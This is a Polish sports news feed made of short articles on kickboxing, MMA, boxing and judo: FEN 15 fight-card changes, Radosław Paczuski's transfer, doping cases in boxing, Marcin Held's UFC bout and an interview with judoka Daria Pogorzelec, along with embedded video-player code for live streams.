Jeden z najbardziej utalentowanych i obiecujących polskich kickboxerów Radosław Paczuski będzie występował na galach organizacji Fight Exclusive Night. Do niedawna zawodnik związany był z DSF Kicboxing Challenge.

Można powiedzieć, że mamy do czynienia z prawdziwym hitem transferowym. Paczuski wyrasta na gwiazdę K-1 nie tylko na poziomie krajowym, ale i europejskim. Jego walki przyciągają uwagę swoją efektywnością i klasą. Teraz rozpoczyna kolejny etap kariery.

Złowili perełkę

Konkurencja na rynku kickboxerskim jest coraz większa, a więc każda z organizacji chce mieć w swoich szeregach czołowych zawodników. Bez wątpienia takim jest Radosław Paczuski, który do niedawna występował na galach DSF Kickboxing Challenge. W kwietniu ubiegłego roku zawodnik Unig Fight Club sięgnął po pas mistrzowski organizacji w wadze 81kg pokonując niejednogłośnie na punkty Pawła Gierzyńskiego. Był jedną z najbardziej rozpoznawalnych twarzy DSF. Miał rywalizować w grudniu, jednak wybrał start na gali K-1 Global. Ostatecznie nie zaprezentował się w Bośni i Hercegowinie.

Podczas gali FEN 15 w Lubinie władze federacji poinformowały o związaniu się z Radkiem Paczuskim. Głos w sprawie postanowiła zabrać organizacja DSF. – Zawodnik dostał od DSF lukratywną ofertę na walkę wieczoru w obronie pasa w kategorii wagowej -81 kg. na gali, która odbędzie się 31 marca w hali Koło w Warszawie. W piątek 13 stycznia w okolicach godziny 22, poinformował Roberta Złotkowskiego, odpowiadającego za kartę walk, że oferty nie przyjmie i przechodzi do innej federacji. Zawodnik nie zdobył się na poinformowanie o wszystkim prezesa, Sławomira Duby.

Przypomnijmy, że Paczuski miał walczyć 16 grudnia na gali Najlepsi Z Najlepszych w restauracji Champions w Warszawie. Federacja, nie chcąc blokować zawodnika, wyraziła zgodę na walki w turnieju K-1 World Grand Prix Euro w Bośni i Hercegowinie, który miał się odbyć 3 grudnia. Rozumiejąc argumenty przedstawiane przez braci Paczuskich, że to dla Radka życiowa szansa. W ostatnim momencie Paczuski wycofał się z udziału w obu galach. Nie chciał także brać udziału w żadnych imprezach promujących galę DSFczytamy w oświadczeniu

Powodem zaistniałej sytuacji miały być kłopoty zdrowotne zawodnika. Wobec podpisania przez Paczuskiego umowy z FEN, stracił on pas mistrzowski DSF. – Na spotkaniu w siedzibie federacji zawodnik poinformował o problemach zdrowotnych – kardiologicznych. Dzięki ścisłej współpracy DSF z partnerem Centrum Medycyny Sportowej przy ul. Wawelskiej 5 w Warszawie, Paczuski natychmiast przeszedł kompleksowe badania pod opieką najlepszych specjalistów CMS. Szczegółowe badania nic nie wykazały. Zawodnik był zainteresowany dalszą współpracą z federacją DSF Kickboxing Challenge, o czym otwarcie mówił w rozmowach z zarządem. Jednocześnie ze skutkiem natychmiastowym Radosław Paczuski przestaje być mistrzem DSF Kickboxing Challenge w kategorii wagowej -81 kg – informuje DSF.

Debiut za dwa miesiące

Po tym jak FEN straciło Tyberiusza Kowalczyka i Romana Szymańskiego, którzy byli rozpoznawalnymi twarzami organizacji, przyszedł czas na hit transferowy. Debiut Paczuskiego przewidziany jest na marcową galę. 11 marca organizacja odwiedzi Warszawę z wydarzeniem FEN 16 Warsaw Reloaded.

Na arenie pojawi się mocny zawodnik, który ma stać się magnesem dla publiczności. W ubiegłym roku Paczuski zapisał na swoim koncie mistrzostwo świata K-1 Global, które zdobył w Atenach. Z kolei w Mariborze sięgnął po srebro mistrzostwo Europy low kick.

KM

Szpilka poza kartą walk, wraca Masternak

W lutym, po ponad rocznej przerwie, na ringu miał zameldować się Artur Szpilka. Polak nie wystąpi jednak na gali w Alabamie. Na ring wraca Mateusz Masternak, który zaprezentuje się 4 marca w Dzierżoniowie.

Wydawało się, że wszystko jest na dobrej drodze i popularny „Szpila” zmierzy się z Dominikiem Breazealem. Polak wypadł z karty walk i może jedynie bezradnie rozkładać ręce.

Było blisko

W grudniu pojawiły się pierwsze przymiarki do pojedynku Szpilki z Breazealem. Wraz z upływem kolejnych dni wydawało się, że wszystko zmierza w dobrą stronę i 25 lutego w Birmingham obaj wejdą do ringu. Sprawa się nieco skomplikowała. Prawdopodobnie tylko Breazeale wystąpi podczas gali, ale nie wiadomo, kto będzie jego rywalem.

Jak grom z jasnego nieba gruchnęła informacja o tym, że Szpilka nie wystąpi w Birmingham. Bokser nie krył rozczarowania. – Chciałbym przeprosić kibiców, bo wielu z nich kupiło bilety na galę z myślą o moim pojedynku. Czekam na jakieś konkrety na temat następnej walki. Jestem trochę wkur…, bo siedzę tutaj już pół roku, mocno pracuję, a nic z tego nie ma… – nie krył rozczarowania Polak na facebooku.

Pojawiły się doniesienia jakoby Breazeale miał się zmierzyć z… Izuagbe Ugonohem. Polski pięściarz wygrał wszystkie 17 dotychczasowych walk, w tym 14 przed czasem. Ponoć powodem, dla którego nie dojdzie do starcia Amerykanina ze Szpilką jest fakt, że obaj przegrali swoje ostatnie pojedynki.

Po raz ostatni „Szpila” walczył w styczniu 2016 roku, kiedy to w Barclays Center w Nowym Jorku przegrał w dziewiątej rundzie z Deontayem Wilderem. Polak opuszczał ring na noszach. Kibice z niecierpliwością czekają na kolejne starcie polskiego ciężkiego, jednak nie wiadomo, kiedy ono nastąpi.

Warto przypomnieć, że 25 lutego w Alabamie o pas WBC powalczy Andrzej Wawrzyk. Polak stawi czoła prawdziwemu bombardierowi, jakim jest Deontay Wilder. Dla Wawrzyka będzie to drugie podejście do mistrzowskiego tytułu.

Masternak rusza do boju

Mateusz Masternak swoją ostatnią walkę stoczył 2 kwietnia ubiegłego roku. W Krakowie pokonał Erica Fieldsa i od tamtego czasu nie walczył. Wraz z końcem roku wygasła jego umowa z grupą Sauerland Event. 29-letni bokser nie czekał długo na propozycję walki. 4 marca ma pojawić się na gali w Dzierżoniowie organizowanej przez Mariusza Grabowskiego. Szczegóły nie są jeszcze znane.

Popularny „Master” ma za sobą nieudaną walkę z Tony Bellewem o mistrzostwo Europy. Wcześniej przegrał pojedynek o pas WBA interim. Masternak stara się wrócić na właściwe tory i ponownie boksować o najwyższe cele. Czy pierwszy krok ku temu zrobi 4 marca?

KM

LIVE: FEN 15 Final Strike – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 15 Final Strike.

[kod]

FEN 15 Final Strike Ceremonia ważenia

FEN 15 Final Strike Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Czas na trzecie uderzenie

Organizacja Fight Exclusive Night po raz trzeci zawita do Lubina. 14 stycznia głównym daniem wieczorem będzie pojedynek o pas mistrzowski w wadze średniej (77kg) pomiędzy Pawłem Biszczakiem i Wojciechem Wierzbickim. Co jeszcze czeka nas podczas gali FEN 15?

Temperatura rośnie z każdym dniem. Czas płynie nieubłaganie, a w ostatnim tygodniu doszło do kilku zmian w fight cardzie. W Lubinie dojdzie do dwóch pojedynków mistrzowskich. Tym razem kibice zobaczą sześć starć na zasadach MMA i trzy w K-1.

Wreszcie walka o pas

Z pewnością tak pomyślał Paweł Biszczak, któremu raz mistrzowska walka przeszła już koło nosa. 31-letni kickboxer podczas majowej gali FEN 12 miał zmierzyć się z Zakarią Baitarem. Problemy zdrowotne uniemożliwiły występ Biszczaka. Ponownie zaprezentował się w październiku w Katowicach, gdzie pokonał jednogłośną decyzją Tomasza Gromadzkiego. W Lublinie zmierzy się o pas z Wojciechem Wierzbickim, który zastąpił go w starciu z Baitarem. Polak wygrał i zdobył tymczasowy tytuł mistrzowski. Teraz zawodnik, który w 2015 roku wywalczył mistrzostwo Europy WAKO-Pro low kick stanie przed kolejnym wyzwaniem. Głodny Biszczak będzie chciał zdobyć pas i ma tę przewagę, że raz już pokonał Wierzbickiego. Jednak mowa o zamierzchłych czasach. Walka miała miejsce w 2012 roku.

O pas w K-1 65kg powalczą Róża Gumienna i Martina Fendrichova. Polka stała się najbardziej rozpoznawalną kobiecą twarzą organizacji FEN. 27-latka znakomicie radzi sobie w walkach zawodowych. Wygrała wszystkie siedem pojedynków, a trzy podczas występów dla organizacji FEN. 15 stycznia Gumienna stanie przed trudnym zadaniem. Martina Fendrichova to niezwykle mocna zawodniczka, która zdobywała medale mistrzostw świata.

Galę w Lubinie otworzy starcie w K-1 pomiędzy Wojciechem Kozieczko a Mateuszem Dąbrowskim. Dla obu zawodników będzie to debiut w organizacji FEN.

Trochę się pozmieniało

W ostatnich dniach w karcie walk doszło do kilku zmian. Początkowo Marcin Zontek miał rywalizować z Boubacarem Balde. 37-latek występujący w wadze półciężkiej MMA zmierzy się jednak z Riccardo Nosiglią. W porównaniu z Polakiem, doświadczenie Włocha wygląda ubogo, ale nigdy nie przegrał i jest o dziesięć lat młodszy od Zontka.

Nowego rywala poznał Kamil Gniadek. 24-latek miał rywalizować z Michałem Michalskim, jednak ten zgłosił kontuzję. Ostatecznie Gniadek zmierzy się z Vincentem del Guerrą. Francuz ma na koncie ponad 40 zawodowych walk, z których 24 zakończył zwycięsko. W listopadzie ubiegłego roku 26-latek przegrał z Krzysztofem Kułakiem, ale w 2015 roku pokonał innego Polaka – Kacpra Karskiego. Dla utalentowanego Gniadka będzie to trudna przeprawa, ale 22-latek będzie robił wszystko, aby wygrać drugą walkę na FEN.

W wadze średniej Marcin Naruszczka miał rywalizować z Mattem Horwichem, ale Amerykanina zastąpił Filip Tomczak. Przed lubińską publicznością nie zaprezentuje się Michał Miłek. W starciu wagi lekkiej zmierzą się Mateusz Głąb i Leonid Smirnov.

Ciekawie będzie w kategorii półśredniej. Szykują się pojedynki Alberta Odzimkowskiego z Oskarem Somerfeldem oraz Mateusza Rębeckiego z Adama Golonkiewicza. 

KM

LIVE: FEN 15 Final Strike – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 15 Final Strike.

[kod]

FEN 15 Final Strike Trening Medialny

FEN 15 Final Strike Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Kolejna próba Helda

15 stycznia w Talking Stick Arena w Phoenix Marcin Held stoczy swój drugi pojedynek w UFC. Polak zmierzy się ze starym wyjadaczem Joe Lauzonem.

Po udanej przygodzie z Bellatorem polski lekki dostał szansę występów w najlepszej organizacji MMA na świecie, czyli UFC. W debiucie 24-latek musiał przełknąć gorycz porażki. Nadszedł czas, żeby się zrehabilitować, ale czeka go niezwykle trudne zadanie.

Sprawić niespodziankę

Held jest wielką nadzieją polskiego MMA. 24-latek ma ogromny potencjał, co udowodnił podczas swoich występów na galach organizacji Bellator. W 2014 roku zwyciężył w turnieju wagi lekkiej, rok później rywalizował z Willem Brooksem o tytuł mistrzowski. 30-letni Amerykanin wygrał jednogłośnie na punkty, a Polak stoczył jeszcze jedną walkę w Bellatorze i podpisał umowę z UFC. Nie dziwne, że najlepsza organizacja MMA zwróciła uwagę na Polaka, który wygrał sześć walk z rzędu, z czego aż pięć przed czasem. Łącznie ma na koncie 22 triumfy i 5 porażek.

Debiut w UFC nie ułożył się po myśli Marcina Helda. Polski lekki zmierzył się z Diego Sanchezem, który najlepsze lata ma za sobą, jednak w tym przypadku wykorzystał w pełni swoje doświadczenie. Teraz przed Polakiem kolejne wyzwanie. Na UFC Fight Night 103 (15 stycznia) zmierzy się z Joe Lauzonem. 32-letni Amerykanin to niezwykle doświadczony i skuteczny fighter.

Specjalizujący się w brazylijskim jiu-jitsu zawodnik walczy niezwykle efektownie. Aż 15 razy otrzymywał bonusy finansowe od UFC. Z 26 zwycięskich walk aż 18 kończył przez poddanie. Lauzon ma na koncie również 12 porażek. Co ciekawe, w ubiegłym roku Amerykanin uporał się z ostatnim rywalem Helda, czyli Diego Sanchezem. W sierpniu przegrał jednak z Jimem Miller i czeka na kolejną walkę.

Held w pełni gotowy

Polak jest już na miejscu i myśli o starciu. Doskonale zdaje sobie sprawę z klasy rywala, który choć nie wszedł nigdy na szczyt, to jest niezwykle groźny. – Dotarłem już do Phoenix, teraz czeka mnie kilka formalności przed walką – badania, wywiady. Już w niedzielę wyjdę do oktagonu UFC! –  napisał Marcin Held na swoim profilu na facebooku. – Wiem, że walczę z bardzo dobrym przeciwnikiem i nie jestem w tej walce faworytem. Mogę Wam jednak obiecać, że będę robił wszystko by to moje ręce znalazły się w górze. Czuje się dobrze i moje nastawienie jest pozytywne – dodaje.

Ostatnie trzy pojedynki Held walczył na pełnym dystansie. Od pierwszych sekund starcia z Lauzonem Polak musi być czujny, bo Amerykanin jest niebezpieczny. Nie raz kończył swoje walki w pierwszych rundach. – Jestem bardzo zadowolony, że UFC stawia na mojej drodze tak wymagających rywali. Ciesze się, że mogę dostarczać moim fanom tak dużo emocji walcząc z najlepszymi. Jest mi bardzo miło, że tyle osób wyczekuje moich walk i mi kibicuje! Jestem przekonany, że z Joe Lauzonem damy dobrą walkę – przedstawia Held.

KM

FEN 15: zapowiedź walki o pas Biszczak vs Wierzbicki

Paweł Biszczak i Wojciech Wierzbicki to wielcy mistrzowie K-1 – obaj walczą niezwykle efektownie i zabójczo skutecznie, obu w klatkoringu Fight Exclusive Night nikt jeszcze nie zdołał pokonać. Który z nich w sobotę w Lubinie przedłuży zwycięską passę i sięgnie po pas mistrzowski FEN? Zobaczcie zapowiedź walki wieczoru gali FEN 15 Final Strike!

FEN

[kod]

Trzy zmiany w fight cardzie FEN 15 Final Strike

Marcin Naruszczka, Vincent del Guerra i Riccardo Nosiglia to trzej zawodnicy MMA dopisani do karty walk gali FEN 15 Final Strike. Wystąpią oni w zastępstwie za Matta Horwicha, Michała Michalskiego i Boubacara Balde, którzy z powodu kontuzji musieli zrezygnować z walki podczas sobotnich zawodów w lubińskiej hali RCS.

Marcin Naruszczka (33 lata, 183 cm, rekord 17-5-1), którego pierwsza tegoroczna walka w klatkoringu Fight Exclusive Night planowana był podczas marcowej gali FEN 16 Warsaw Reloaded, zastąpi na gali FEN 15 Final Strike Amerykanina Matta Horwicha w starciu MMA wagi średniej z Filipem Tomczakiem. Zawodnik Nastula & Okniński Team jest w znakomitej formie – od października 2015 roku wygrał 5 walk z rzędu, pokonując n.in. Rafała Haratyka i w ostatniej swojej walce jesienią ubiegłego roku broniąc pasa mistrza PLMMA w starciu właśnie z Mattem Horwichem. Chociaż Naruszczka na przygotowania do sobotniej gali ma niewiele czasu, a jego rywal legitymuje się obecnie rekordem czterech walk bez porażki, to jednak doświadczony fighter z Warszawy będzie faworytem pojedynku z młodym reprezentantem MMA Devil Fight Club Poznań.

Francuz Vincent „The Warrior” del Guerra (26 lat, 175 cm, rekord 24-17) szansę występu na gali FEN 15 Final Strike otrzymał „dzięki” zgłoszeniu kontuzji przez Michała Michalskiego, który w sobotę w Lubinie miał skrzyżować rękawice z Kamilem „Undertakerem” Gniadkiem. 26-letni zawodnik z Marsylii mimo młodego wieku ma już na koncie ponad 40 zawodowych walki MMA, z których 24 rozstrzygnął na swoją korzyść – i to dosłownie, ponieważ aż 22 walki wygrał przed czasem (8 nokautów i  14 poddań). W ostatnim roku „The Warrior” mierzył się z takimi mocnymi rywalami, jak Colin Fletcher, John Maguire i Krzysztof Kułak, a w swoim ostatnim występie, w walce wieczoru gali Kombat League Coloseum 4 we Włoszech, pokonał Giuseppe Mancuso. Kamil Gniadek będzie kolejnym młodym, ale bardzo groźnym przeciwnikiem w karierze del Guerry – szczeciński Berserker z 15 już stoczonych walk wygrał 10 i na gali FEN 15 na pewno twardo powalczy o drugie z rzędu zwycięstwo w organizacji FEN.

Włoch Riccardo „Walking Dead” Nosiglia (27 lat, 186 cm, 4-0), którego czeka starcie z niedawnym pretendentem do tytułu mistrza FEN wagi półciężkiej w formule MMA Marcinem Zontkiem, zastąpi na FEN 15 Final Strike innego awizowanego wcześniej obcokrajowca, Francuza Boubacara Balde. Dla zawodnika Shoot Team Padwa będzie to pierwszy występ poza granicami ojczystego kraju – dotychczas walczył dla organizacji Kombat League i Power Nation Fighting Championship, zdobywając w 2014 i 2015 roku tytuł mistrza PNFC w kategorii półciężkiej. Uchodzi za specjalistę od ground and pound – wszystkie swoje zawodowe walki Nosiglia kończył w pierwszych rundach nokautującymi ciosami w parterze.

W innych walkach MMA gali FEN 15 Final Strike zmierzą się m.in. Albert Odzimkowski z Oskarem Somerfeldem oraz Mateusz Rębecki z Adamem Golonkiewiczem. Wydarzeniami gali będą natomiast dwie walki o pas mistrzowski FEN w formule K-1, w których Paweł Biszczak będzie walczył z Wojciechem Wierzbickim, a Róża Gumienna z Czeszką Martiną Fendrichovą.

Bilety na sobotnią galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Doping niejedno ma imię

Michał Cieślak i Nikodem Jeżewski nie schodzą z ust kibiców i ekspertów boksu. Wszystko za sprawą stwierdzenia w ich organizmach obecności niedozwolonych środków. 

Skandale dopingowe stały się niemalże codziennością. Wszyscy starają się uniknąć wpadki, jednak w przypadku kontroli często stają się bezradni. Kładą na szali swoje umiejętności, dokonania, a niekiedy nieskazitelny obraz, bo często przedstawiani są jako wzór do naśladowania.

Nokaut, którego nie było

10 grudnia we Wrocławiu Cieślak i Jeżewski spotkali się w walce, której stawką był pas IBF Baltic i tytuł zawodowego mistrza Polski wagi junior ciężkiej. Pełen emocji pojedynek przyniósł wiele kontrowersji. Początek trzeciej rundy dla Cieślaka, który mocno przycisnął rywala, jednak ten w końcu odpowiedział. Potężny prawy Jeżewski i pięściarz z Radomia znalazł się na deskach. Cieślak wstał i walczył dalej. 27-latek trafił prawym, co zrobiło wrażenie na Jeżewskim, który przyklęknął. Cieślak dołożył jeszcze jeden cios, a sędzia przerwał pojedynek. Obóz Jeżewskiego twierdził, że nie było powodu do zakończenia walki. Z kolei sam bokser liczył na rewanż.

Nikt chyba nie spodziewał się, że kilka tygodni później, walka zostanie przedstawiona w zupełnie innym świetle. Cieślak miał stosować oxandrolon i mesterolon, a Jeżewski oxandrolon i meldonium. Prawdopodobnie obaj zostaną zawieszeni, a walka anulowana.

Dopingowiczów nie brakuje

Doping ma być receptą na sukces, jednak w wielu przypadkach okazuje się strzałem w kolano. Zdarzają się dopingowe wpadki, które należy kwalifikować jako błędy młodości, ale nie brakuje pięściarzy świadomie podejmujących decyzję o stosowanu niedozwolonych substancji. W świecie boksu raz po raz słyszymy o kolejnych dopingowiczach.

Pod nadmiarem kurzu, gdzieś w zapomnieniu znajduje się wspomnienie o wpadce Witalija Kliczki. Ukrainiec został przyłapany na stosowaniu dopingu w 1996 roku, przez co nie pojechał na Igrzyska Olimpijskie w Atlancie. Ze wspomagania korzystał również Erik Morales. W 2012 roku przegrał z Danny'm Garcią, a w jego organizmie wykryto clenbuterol. Morales został zawieszony na dwa lata. W 2012 roku Lamont Peterson szykował się do walki z Amirem Khanem w obronie pasów WBA i IBF, ale do starcia nie doszło. Amerykanina przyłapano na dopingu i stracił licencję w stanie Nevada.

Z powodu problemów dopingowych tytuły mistrzowskie w wadze ciężkiej oddał Tyson Fury. Brytyjczyk nie udźwignął ciężaru sukcesu i pogrążył się stosowaniem używek. Dopingowy problem towarzyszy również Aleksandrowi Powietkinowi. W kwietniu ubiegłego roku Rosjanina przebadano na obecność niedozwolonych środków. Pozytywny wynik przekreślił szanse Powietkina na walkę o pas WBC z Deontayem Wilderem. Kilka miesięcy później nastąpiła powtórka. W organizmie boksera wykryto ostarynę, co sprawiło, że nie doszło do pojedynku Powietkina z Bermane Stivernem.

Nie brakuje również polskich bokserów, którzy stosowali doping. W 2010 roku w Schwerinie w organizmie Macieja Zegana wykryto clenbuterol, pi oksandrilon oraz stymulany z grupy S6. Polaka zdyskwalifikowano na dwa lata. Mariusz Wach dostąpił zaszczytu rywalizacji o panowanie w wadze ciężkiej. Wytrwał cały dystans w ringu z Władimirem Kliczko, jednak okazało się, że brał winstrol. W efekcie Wach musiał udać się na ośmiomiesięczny odpoczynek. Dopingową wpadkę zaliczył również Michał Syrowatka, który tłumaczył, że metyloheksanamina zawarta jest w niektórych odżywkach. Nie wybronił się przed sześciomiesięczną dyskwalifikacją. 

fot. pixabay

KM

Pogorzelec: Jesteśmy wzorową drużyną

Najważniejszym zeszłorocznym startem dla Darii Pogorzelec (78kg) były Igrzyska Olimpijskie w Rio de Janeiro. 26-latka jechała do Brazylii z nadziejami, jednak odpadła w 1/8 finału. Reprezentantka Polski w judo opowiada nam o zeszłorocznych doświadczeniach i najbliższych planach.

Pogorzelec jest mocnym punktem polskiej kadry. Zawodniczka urodzona w Gdańsku nie raz imponowała na arenie międzynarodowej i wygrywała prestiżowe zawody. W ostatnim czasie musi stosować się do rad lekarzy, aby doprowadzić do pełnej sprawności kontuzjowane kolano.

Myśli o trzecich igrzyskach

Daria Pogorzelec była o krok od medalu Igrzysk Olimpijskich, ale nie tych ostatnich w Rio de Janeiro, lecz w 2012 roku w Londynie. Polka mocnym akcentem rozpoczęła rywalizację. W pierwszym starciu w Londynie wyeliminowała Anamari Velensek, która jest czołową judoczką świata. Wystarczy przypomnieć, że w tym roku zdobyła brąz w Rio, a cztery lata temu miała na swoim koncie medale mistrzostw Europy. Co do startu Pogorzelec w Londynie, ta zmierzała w stronę olimpijskiego podium, jednak w ćwierćfinale powstrzymała ją Mayra Aguiar. Następnie lepsza okazała się Abigail Joo. Kilka miesięcy przed igrzyskami zerwała więzadła krzyżowe.

Historia lubi się powtarzać. Przed Rio Pogorzelec miała problemy z kolanem, ale tym razem nie zanotowała tak dobrego startu. Odpadła w 1/8 finału, jednak zdobyła kolejne cenne doświadczenie. Za 3,5 roku Igrzyska Olimpijskie w Tokio. Czyżby do trzech razy sztuka? – Igrzyska to impreza jedyna w swoim rodzaju i towarzyszą jej skrajne emocje. Po Londynie była to satysfakcja, po Rio rozczarowanie, a teraz z uśmiechem przygotowuję się do Tokio 2020 – podaje Daria Pogorzelec.

Do igrzysk sporo czasu, a po drodze nie brakuje prestiżowych imprez. 26-letnia judoczka liczy, że zdrowie jej dopisze i będzie mogła wystąpić w kluczowych zawodach. – Wszystko zależy od tego, co lekarze orzekną w sprawie mojego kolana. Jeżeli będę mogła, chciałabym się zaprezentować na mistrzostwach Europy, które odbędą w Polsce i zawojować kilka Pucharów Europy i Świata – wyjaśnia 26-letnia judoczka.

Drużyna marzeń

Bardzo dobrze prezentuje się kadra kobiet, która pod okiem Anety Szczepańskiej święci kolejne sukcesy. W ubiegłym roku biało-czerwone wywalczyły mistrzostwo Europy, zaś w sierpniu 2015 roku sięgnęły po wicemistrzostwo świata. W obu przypadkach ważnym punktem drużyny była Pogorzelec. – Jesteśmy wzorową drużyną, zgraną, zmotywowaną, wspierającą się. Podobno drużynówka ma być włączona do programu Igrzysk, byłaby to dla nas duża szansa, a tym czasem niedługo będzie okazja obronić tytuł drużynowych mistrzyń Europy – prezentuje medalistka mistrzostw świata i Europy w drużynie.

Sukcesy naszej reprezentacji mogą przełożyć się na wzrost popularności judo. – Judo w Polsce jest z roku na rok coraz popularniejsze. Nie liczyłabym na jakiś większy przełom, raczej na tendencję wzrostową. Jeżeli będziemy potwierdzać na zawodach wysoki poziom i toczyć piękne zwycięskie walki, grono pasjonatów będzie się sukcesywnie powiększać – prezentuje Pogorzelec.

Fot. PZJudo

KM

Senator wstępnie dogadany

Starcie Manny Pacquiao z mistrzem WBC i WBO wagi super lekkiej Terencem Crawfordem jest coraz mniej realne. Filipiński bokser porozumiał się wstępnie  z Jeffem Hornem. Warto również wspomnieć, że szykuje się wielki powrót. 21 stycznia Zab Judah pojawi się w ringu po raz 52.

O popularnym „Pacmanie” w ostatnich dniach jest niezwykle głośno. Nadal trwają poszukiwania kolejnego rywala 38-latka. Bob Arum, promotor Pacquiao wyjawił, że Filipińczyk gotowy jest zmierzyć się z Jeffem Hornem.

Starcie niższej wagi

Kilka dni temu informowaliśmy, że prowadzone są przymiarki do zorganizowania pojedynku Pacquiao z Terencem Crawfordem. Kwestia ta była jednak na wstępnym etapie i obracała się raczej w obszarze dywagacji. Głos w sprawie zabrali doradcy Pacquiao, którzy otwarcie mówili, że ich klient za ów pojedynek chciałby 20 milionów dolarów. W końcu przyszłoby mu się zmierzyć z mistrzem WBC i WBO. Starcie z 29-letnim Crawfordem byłoby ogromnym wyzwaniem dla doświadczonego Filipińczyka, a zarazem „Pacman” postawiłby na szali cały swój dorobek.

Sytuacja rozwija się błyskawicznie, ale starcie z Crawfordem wydaje się odległe. Pacquiao chce dalej rywalizować w ringu, ale zdaje się, że mierzy siły na zamiary. Wśród potencjalnych rywali boksera, który zdobywał mistrzowskie tytuły w ośmiu kategoriach wagowych wymieniano również nazwisko Ricky'ego Burnsa. 33-letni Brytyjczyk to mistrz świata WBA wagi super lekkiej. Burns ma na koncie 41 zwycięstw i 5 porażek, jednak nie jest najpoważniejszym kandydatem na rywala „Pacmana”.

Wydaje się, że obecnie najwyżej stoją akcje Jeffa Horna. Ponoć Pacquaio zaakceptował wstępne warunki walki z pięściarzem z Australii. Filipińczyk miał zgodzić się na obniżkę gaży, gdyż walczyłby blisko domu, co byłoby szansą na obecność jego kibiców. – Manny widział kilka walk Horna i uważa, że starcie z nim byłoby dla niego wyzwaniem – powiedział Bob Arum, promotor „Pacmana”.

Horn występuje w wadze półśredniej. 28-latek stoczył dotychczas 17 walk, z których 16 wygrał i jedną zremisował. 10 grudnia w Auckland rozprawił się z Alim Funaką w starciu i interkontynentalny pas WBO.

Powrót

Zdobywał tytuły w wadze lekkopółśredniej i półśredniej. Po raz ostatni Zab Judah cieszył się z wywalczenia mistrzowskiego pasa w marcu 2011, kiedy pokonał Kaizera Mabuzę. Tytuł IBF stracił w kolejnym starciu. Jego pogromcą okazał się Amir Khan. Amerykanin stoczył jeszcze trzy pojedynki, z których wygrał tylko jeden. Po raz ostatni pojawił się w ringu w grudniu 2013 roku, kiedy to przegrał na punkty z Paulem Malignaggim.

21 stycznia 39-letni pięściarz planuje stoczyć kolejną walkę. Rywalem Judaha będzie Jorge Luis Munguia, który w ostatnich pięciu starciach zanotował tylko jedno zwycięstwo.

KM

Dąbrowski zamiast Jankowskiego na gali FEN 16 Final Strike

Eliasz Jankowski z powodu kontuzji nie zadebiutuje 14 stycznia w klatkoringu Fight Exclusive Night. Zamiast niego na gali FEN 15 Final Strike w Lubinie z utalentowanym Wojciechem Kazieczko zmierzy się mistrz świata K-1 Global i zdobywca Pucharu Świata WAKO w K-1, niepokonany na zawodowych arenach Mateusz Dąbrowski.

26-letni Mateusz Dąbrowski to kolejny podopieczny doświadczonego trenera Zbigniewa Prycha, który ma na swoim koncie wiele znakomitych osiągnięć. Przynależność do ścisłej krajowej czołówki potwierdził, dwukrotnie zdobywając tytuł mistrza Polski (w jednym z finałów pokonał weterana polskiego kickboxingu Jarosława Daschke). Zawodnik TKKF Olimp Legnica doskonale spisuje się również na międzynarodowych zawodach – w 2014 roku z Londynu przywiózł złoty medal mistrzostw świata federacji K-1 Global, a w 2015 roku w Insbrucku sięgnął po Puchar Świata WAKO w K-1. Zawodową karierę rozpoczął bardzo udanie – wygrał wszystkie trzy stoczone dotąd walki i zapowiada, że w debiucie w organizacji FEN dopisze do swego rekordu kolejne zwycięstwo.

Plany fightera z Legnicy spróbuje pokrzyżować inny debiutant w klatkoringu Fight Exclusive Night, zaledwie 19-letni Wojciech Kazieczko, jeden z najbardziej obiecujących polskich kickbokserów młodego pokolenia. Zawodnik Funfit Boxing Team Zielona Góra zwrócił na siebie uwagę, kiedy na ubiegłorocznych seniorskich mistrzostwach Polski w K-1 Rules zdobył tytuł wicemistrzowski, w drodze do finału nokautując wszystkich rywali. Wcześniej wywalczył także srebrny medal mistrzostw Europy juniorów w K-1 oraz tytuły mistrza Polski juniorów w formułach kick light, full contact i K-1. Wychowanek duetu trenerskiego Jakub Kozera i Patryk Proszek stoczył dotychczas dwie walki zawodowe – obie pewnie wygrał, pierwszą z nich przez nokaut, drugą na punkty.

W fight cardzie gali w lubińskiej hali RCS oprócz pojedynku Wojciecha Kazieczki z Mateuszem Dąbrowskim są jeszcze dwie inne walki w formule K-1, których stawką będą pasy mistrzowskie federacji FEN – w walce wieczoru o pas walczyć będą Paweł Biszczak i Wojciech Wierzbicki, a nieco wcześniej zmierzą się Róża Gumienna i Czeszka Martina Fendrichova. Kibiców czeka również sześć walk na zasadach MMA, w których wystąpią m.in. Albert Odzimkowski, Marcin Zontek, Kamil Gniadek, Oskar Somerfeld, Mateusz Rębecki oraz Adam Golonkiewicz.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

 

Cztery lata kary za doping

Zapaśnicy Bashir Asgari Babajanzadeh i Zubair Dibirov zostali zawieszeni na cztery lata za stosowanie niedozwolonych środków. 

